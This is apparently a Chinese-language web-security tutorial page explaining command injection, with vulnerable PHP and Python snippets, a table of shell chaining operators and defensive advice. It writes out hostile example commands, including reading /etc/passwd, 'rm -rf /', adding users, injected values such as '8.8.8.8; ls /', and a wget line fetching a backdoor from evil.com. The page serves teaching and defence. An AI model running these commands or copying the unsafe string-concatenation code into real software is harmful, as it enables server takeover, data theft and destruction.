Web安全
基础漏洞
01前端基础【HTML】
02前端基础【CSS】
03后端基础【PHP速通】
04后端基础【PHP面向对象】
05MySQL基础操作
06前后端联动【代码练习】
07SQL注入【1】
07SQL 注入【2】
08SQL注入 Labs
08SQL注入速查表
09XSS
09跨站脚本攻击【XSS】
09XSS Labs
10跨站请求伪造【CSRF】
11服务器端请求伪造【SSRF】
12XML 外部实体注入【XXE】
13代码执行漏洞
14命令执行漏洞
15文件包含漏洞
16文件上传漏洞
17反序列化漏洞
18业务逻辑漏洞
19未授权访问漏洞集合
20跨源资源共享【CORS】
21SSTI模板注入
22并发漏洞
23点击劫持【Clickjacking 】
24请求走私
25路径遍历
26访问控制
27身份验证漏洞
28WebSocket
29Web缓存中毒
30HTTP 主机头攻击
31信息泄露漏洞
32原型污染
33NoSQL注入
API 安全
01web应用程序
02HTTP协议
03API概述
04分类类型
05交换格式
06身份验证
07常见API漏洞
08crAPI靶场
09JWT
10OAuth 2.0身份验证
11GraphQL【1】
11GraphQL【2】
12DVGA靶场
13服务器端参数污染
14API文档
15API Labs
16OAuth Labs
17GraphQL API Labs
18JWT Labs
小程序
小程序抓包
数据库
MySQL
Oracle
MongoDB
Redis
PostgreSQL
SQL server
中间件
Nginx
Apache HTTP Server
IIS
Tomcat
框架
ThinkPHP
Spring
Spring Boot
Django
访问控制
-
+
首页
14命令执行漏洞
## 定义 命令执行漏洞(Command Injection),指攻击者通过构造恶意输入,诱导应用程序**执行非预期的操作系统命令**(如`ls`、`rm`、`ping`等),从而控制服务器、窃取数据或破坏系统。它是 “代码执行漏洞” 的一种特殊形式,核心聚焦于**操作系统命令的滥用**。 命令执行漏洞的本质是:**应用程序在调用系统命令时,将用户可控的输入直接拼接进命令字符串中,且未进行严格过滤或转义**,导致攻击者注入的恶意命令被系统执行。 简单说,当程序需要调用系统命令(如执行`ping`检测网络、`ffmpeg`处理视频等),若直接将用户输入作为命令的一部分拼接执行,就可能被攻击者利用。 ## 工作原理 命令执行漏洞的形成原因主要是开发人员在编写代码时,没有对用户输入进行充分的验证和过滤,导致恶意用户可以通过构造恶意命令参数来执行任意系统命令。例如,在PHP中,如果使用`system()`、`exec()`、`shell_exec()`等函数执行用户输入的命令,就可能导致命令执行漏洞。 **在php中常见函数有:system()、exec()、shell_exec()、passthru()、特殊符号。** ## 危害 命令执行漏洞一旦被利用,攻击者可直接操控服务器操作系统,危害包括: 1. **信息窃取**:执行`cat /etc/passwd`查看用户列表、`cat /var/www/config.php`读取数据库密码; 2. **文件操作**:删除关键文件(`rm -rf /`)、篡改业务数据(`echo 'hack' > index.html`); 3. **权限提升**:通过`sudo`命令尝试获取管理员权限,或添加恶意用户(`useradd hacker`); 4. **横向渗透**:利用服务器作为跳板,攻击内网其他设备(如`ssh 192.168.1.100`登录内网主机); 5. **持久化控制**:植入后门程序(如`wget http://evil.com/backdoor.sh -O /tmp/backdoor.sh && chmod +x /tmp/backdoor.sh`),长期控制服务器。 ## 典型场景与示例 命令执行漏洞常见于需要 “与操作系统交互” 的功能,例如网络检测、文件处理、系统工具调用等。 **1. 网络检测功能(以 ping 为例)** 程序提供 “检测 IP 连通性” 功能,接收用户输入的 IP 地址,拼接进`ping`命令执行。 ```php // 接收用户输入的IP $ip = $_GET['ip']; // 直接拼接IP执行ping命令(Windows用ping -n 1,Linux用ping -c 1) system("ping -c 1 " . $ip); ``` 正常用户输入`8.8.8.8`,命令为`ping -c 1 8.8.8.8`(合法); 攻击者输入`8.8.8.8; ls /`,命令变为`ping -c 1 8.8.8.8; ls /`—— 执行`ping`后,额外执行`ls /`(列出根目录文件)。 **2. 文件处理功能(以删除文件为例)** 程序允许用户删除指定文件,接收用户输入的文件名,拼接进`rm`命令执行。 ```python import os # 接收用户输入的文件名 filename = input("请输入要删除的文件名:") # 直接拼接文件名执行rm命令 os.system(f"rm {filename}") ``` 正常用户输入`test.txt`,命令为`rm test.txt`(合法); 攻击者输入`test.txt; rm -rf /tmp/*`,命令变为`rm test.txt; rm -rf /tmp/*`—— 删除目标文件后,额外删除`/tmp`目录下的所有文件。 **3. 命令连接符的滥用** 攻击者常用以下符号连接正常命令和恶意命令,绕过简单过滤: | 连接符 | 作用 | 示例(在 ping 命令后附加恶意命令) | | ------ | ---------------------------------- | --------------------------------------------- | | `;` | 分隔多个命令,依次执行 | `8.8.8.8; ls` → 先 ping,再执行 ls | | `&&` | 前一个命令成功执行后,再执行后一个 | `8.8.8.8 && ls` → ping 成功才执行 ls | | `&` | 前一个命令后台执行,同时执行后一个 | `8.8.8.8 & ls` → ping 后台运行,同时执行 ls | | \`\` | 执行反引号内的命令,返回结果 | ping \`whoami\` → 先执行 whoami,再 ping 结果 | | `$()` | 类似反引号,执行括号内的命令 | `ping $(whoami)` → 同反引号效果 | ## 防范措施 防护命令执行漏洞的核心是:**切断用户输入与系统命令的直接拼接,严格限制命令参数的可控范围**。 - **对用户输入进行严格的验证和过滤**:开发人员应该对用户输入进行严格的验证和过滤,避免直接拼接用户输入到系统命令中(若业务必须调用系统命令,使用 “参数化调用” 而非字符串拼接 —— 将命令和参数分开传递,让系统明确区分 “命令” 和 “参数”,避免参数被解析为命令的一部分。)。 - **避免使用危险函数**:尽量不要执行外部命令,使用自定义函数或函数库来替代外部命令的功能。 - **使用安全的API或库**:使用安全的API或库来执行系统命令,例如使用`escapeshellarg()`函数来处理命令参数。 - **及时更新和修补系统漏洞**:保持系统和应用程序的最新状态,及时应用安全更新和补丁,以修复已知的漏洞和缺陷。 - **部署安全防护设备**:在关键的网络节点上部署防火墙、入侵检测系统等安全防护设备,可以有效监测和阻断恶意流量,防止攻击者利用命令执行漏洞进行攻击。
毛林
2025年9月9日 17:48
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码